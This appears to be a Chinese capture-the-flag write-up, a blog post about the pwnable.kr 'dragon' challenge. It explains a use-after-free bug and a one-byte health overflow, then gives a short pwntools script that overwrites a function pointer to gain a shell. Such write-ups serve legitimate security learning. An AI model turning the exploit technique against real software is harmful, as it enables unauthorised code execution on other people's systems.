pwnable dragon

借着这段时间学UAF,又找了一道UAF的题目做了一下,这个题目很简单,看着WP写的,思路也非常的清晰。

题目地址:
nc pwnable.kr 9004
题目下载:
http://pwnable.kr/bin/dragon

0x01 简单分析

这题是让我们打龙,首先利用IDA查看龙的相关信息
这里写图片描述
上面是两个龙的结构体

又发现了一个神秘关卡
这里写图片描述

里面有要获取的shell

发现在杀死龙之后会释放龙内存,同时也会重新申请相同大小的内存进行写入而且偏移量正好是龙结构体的函数指针处。这样我们就能利用UAF(释放重利用)控制整个程序流。下面第一个难题是怎样杀死一条龙。

0x02 屠龙

Priest
这里写图片描述
Knight
这里写图片描述

我们发现如果是直接想把龙打死是不可能的但是我们发现了一个技能Priest的3技能
可以是龙的回升.同时发现大龙的血是80 一个字节127可以使其溢出,从而把大龙打死。

0x03 编写exp

from pwn import *
sh = remote('pwnable.kr',9004) #process('./dragon')


def killself(sh):
    for i in range(0,3):
        sh.send('1'+'\n')
def killdragon(sh):
    for i in range(0,4):
        sh.send('3'+'\n')
        sh.send('3'+'\n')
        sh.send('2'+'\n')       


killself(sh)
sh.send('1'+'\n')
killdragon(sh)
sh.send(p32(0x08048DBF))
sh.interactive()

这里写图片描述

发布了99 篇原创文章 · 获赞 51 · 访问量 71万+

猜你喜欢

转载自blog.csdn.net/qq_31481187/article/details/73657041